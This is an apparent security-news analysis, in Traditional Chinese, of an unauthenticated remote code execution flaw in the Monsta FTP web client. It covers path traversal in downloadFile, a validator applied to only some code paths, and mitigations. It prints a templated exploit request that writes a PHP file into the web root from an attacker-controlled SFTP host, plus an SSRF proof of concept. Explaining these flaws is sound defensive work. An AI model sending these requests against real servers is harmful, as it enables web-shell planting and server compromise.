簡介

Monsta FTP 網頁版 FTP 客戶端,特別是 version 2.11 及更早版本,被發現存在一個嚴重的未經認證遠端程式碼執行 (RCE) 漏洞,官方追蹤編號為 CVE-2025-34299 [1] 。這個缺陷允許 Threat actor 透過利用一個不安全的檔案傳輸函式實作,在主機伺服器上執行任意程式碼。該漏洞源於 Handle downloadFile 動作時發生的 Path traversal (Path Manipulation) 瑕疵,它有效地繞過了現有但有缺陷的安全措施。本報告詳細分析了該漏洞的攻擊鏈、底層程式碼缺陷,以及對網頁應用程式更廣泛的安全影響。

驗證機制形同虛設? 探討 Monsta FTP RCE 中不完整覆蓋的慘痛教訓 | 資訊安全新聞

漏洞的技術細節分析

利用順序始於針對 /application/api/api.php endpoint 發送的一個未經認證的 HTTP POST 請求。此 endpoint 旨在處理包含在 request 參數中的 JSON Payload,該 Payload 用於指示應用程式的 API Handle 應執行的特定檔案操作 [1]

不安全的 downloadFile 動作

核心漏洞位於 downloadFile 動作中。此函式旨在促進從遠端 (S)FTP 伺服器下載檔案,Monsta FTP 實例已設定連線到該伺服器。應用程式的邏輯將請求路由到對應連線類別(例如 SFTP 連線的 SFTPConnection.php )中的 handleDownloadFile 方法。

攻擊向量是透過一個特製的 JSON 請求實現的,該請求利用了應用程式的檔案傳輸機制。該請求指定了外部的 malicious payload 伺服器,以及關鍵地,Monsta FTP 主機上的目標路徑。

以下是 malicious payload HTTP 請求 Payload 的概念性展示:

  1. POST /application/api/api.php HTTP/1.1
  2. Host: {{Hostname}}
  3. Content-Type: application/x-www-form-urlencoded
  4. request={
  5. "connectionType": "sftp",
  6. "configuration": {
  7. "host": "{{External-SFTP-Server}}", // Attacker-controlled server
  8. "remoteUsername": "zero",
  9. "initialDirectory": "/tmp/",
  10. "authenticationModeName": "Password",
  11. "password": "123456",
  12. "port": 22
  13. },
  14. "actionName": "downloadFile",
  15. "context": {
  16. "remotePath": "/path/to/malicious.php", // File to be downloaded
  17. "localPath": "../../../../../var/www/html/mftp/malicious.php" // Arbitrary write path
  18. }
  19. }

handleDownloadFile 中的 Path Traversal

這個關鍵缺陷在 handleDownloadFile 函式中暴露出來,通常位於 application/api/file_sources/connection/SFTPConnection.php 。此函式利用 PHP 內建的 copy() 函式來執行檔案傳輸 [1] 。來源檔案的 URL ( $remoteURL ) 衍生自 Threat actor 控制的 SFTP host remotePath 參數。然而,目標路徑則是 $transferOperation->getLocalPath() 的直接結果,它直接映射到請求中使用者控制的 localPath 參數。

有漏洞的程式碼結構如下:

  1. // Snippet from SFTPConnection.php
  2. protected function handleDownloadFile($transferOperation) {
  3. $remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath());
  4. // [A] The destination path is user-controlled via localPath
  5. if(copy($remoteURL, $transferOperation->getLocalPath()))
  6. return true;
  7. // ... error handling
  8. return false;
  9. }

透過在 localPath 參數中嵌入目錄遍歷序列(例如 ../ ),Threat actor 可以操縱檔案寫入操作的目標。這使得 malicious payload 檔案可以被放置在預期的暫存目錄之外,並進入一個公開可存取的 location,例如 web root ,前提是網頁伺服器程序 (process) 擁有必要的寫入權限。

無效的輸入驗證和修補失敗

對 Monsta FTP 程式庫的分析顯示,開發人員試圖引入安全控制,特別是在較新版本(例如 2.11)中引入了一個 inputValidator.php File,旨在緩解 Path Traversal 和其他與輸入相關的漏洞 [1] 。此 File 包含 function,例如 containsDirectoryTraversal validateFilePath ,它們實作了對 Path Traversal 序列各種編碼嘗試的檢查。

  1. // Snippet from inputValidator.php
  2. private static function containsDirectoryTraversal($path) {
  3. $patterns = [
  4. '../', '..\\\\', '..%2f', '..%2F', '..%5c', '..%5C',
  5. '%2e%2e%2f', '%2E%2E%2F', '%2e%2e%5c', '%2E%2E%5C',
  6. '....//....' // Double encoding attempts
  7. ];
  8. // ... logic to check for patterns
  9. }
  10. public static function validateFilePath($path, $allowAbsolute = false) {
  11. // ... checks for length, null bytes
  12. if (self::containsDirectoryTraversal($path)) {
  13. throw new InvalidArgumentException("Path contains directory traversal sequences");
  14. }
  15. // ...
  16. }

然而,RCE 漏洞的持續存在,以及先前報告的 2.11 version 中存在的伺服器端請求偽造 (SSRF) 漏洞 (CVE-2022-31827),表明這些驗證 routine 的應用失敗了 [1] 。涉及 downloadFile 動作中 localPath 參數的關鍵程式碼路徑要麼未經過新的驗證,要麼驗證不足以阻止 Path Traversal 攻擊。這突顯了一個常見的安全工程挑戰:安全修補程式的 不完整覆蓋 ,即修補程式應用於部分而非所有有漏洞的程式碼路徑。

攻擊流程和架構分析

CVE-2025-34299 的利用是一個經典的兩階段攻擊:首先是任意檔案上傳,其次是執行上傳的檔案。其影響是底層伺服器的完全滲透。

malicious payload 請求和由此產生的被駭的架構流程可視化如下:

Attacker Sends Malicious Request /api/api.php API Handler SFTPConnection copy(remoteURL, localPath) Arbitrary File Write to Web Root Remote Code Execution

當 Threat actor 透過標準 HTTP Request 存取上傳的 File(通常是 PHP web shell )時,利用便告完成。此動作會觸發 malicious payload 程式碼的執行,賦予 Threat actor 對受駭系統的控制權。

緩解和防禦

最直接且有效的緩解措施是 緊急將 Monsta FTP 更新到已修補的 version (2.12 或更高版本) 。然而,此漏洞的技術細節為安全軟體開發提供了關鍵教訓,特別是在 Handle 檔案操作和使用者輸入方面。

開發人員必須採用縱深防禦策略,確保所有影響檔案系統操作的使用者控制輸入都經過嚴格的驗證和淨化。主要的防禦措施包括:

  • 正規化 (Canonicalization): 所有 path 組件,包括遍歷序列 ( ../ ),在執行任何驗證檢查 之前 ,都必須解析為它們的絕對、正規形式。
  • 白名單 (Whitelisting): 採用嚴格的允許 character 和路徑結構白名單,拒絕任何偏離預期格式的輸入。
  • 邊界檢查 (Boundary Checks): 實作強健的檢查,確保最終解析的路徑嚴格保留在預期的應用程式目錄內,這通常被稱為「 jail 」或 chroot environment

未能正確應用 Monsta FTP 中引入的 InputValidator function,證明了 不完整安全覆蓋 的危險 [2] 。安全控制必須普遍且一致地應用於所有處理使用者提供的檔案或目錄名稱的程式碼路徑,以防止此類繞過。

相關安全概念

Monsta FTP RCE 是 任意檔案上傳 漏洞的一個典型案例,這是一種常見且高度危險的缺陷,經常作為 RCE 的前兆 [3] 。此問題的嚴重性因該應用程式的相關缺陷歷史而加劇,包括一個持續存在的 伺服器端請求偽造 (SSRF) 漏洞 (CVE-2022-31827) [1]

SSRF 漏洞允許 Threat actor 操縱伺服器端應用程式向非預期的目標發出請求 [4] 。在 Monsta FTP 中,SSRF 缺陷是在 fetchRemoteFile 動作中被發現的,其中 context 參數的 source field 未得到充分驗證:

// PoC for SSRF (CVE-2022-31827)
request={
           "connectionType":"sftp",
           "configuration":{
           "host":"{{External-SFTP-Server}}",
           // ... other config
           },
           "actionName":"fetchRemoteFile",
           "context":{
           "source":"http://{{External-Server}}/flag.txt" // Attacker-controlled URL
           }
}

在同一個應用程式框架中共存著任意檔案上傳(導致 RCE)和 SSRF 漏洞,這表明應用程式的整體輸入驗證和安全架構存在系統性缺陷。此類問題通常暗示著應用程式 API endpoint 缺乏集中式的安全政策強制執行。

結論

Monsta FTP RCE (CVE-2025-34299) 為網頁應用程式中安全輸入 Handle 的極端重要性提供了一個引人注目的案例研究。技術分析清楚地表明,該漏洞是 Path raversal 缺陷在 downloadFile 動作中使用者控制的 localPath 參數內所造成的直接後果。隨後修補漏洞的嘗試雖然引入了新的驗證 function,但最終未能成功,這突顯了全面安全測試和普遍應用穩健輸入淨化的必要性。對於任何基於使用者輸入來 Handle 檔案系統操作的應用程式而言,未能解析所有路徑組件並強制執行嚴格的邊界檢查,將不可避免地導致嚴重的安全風險。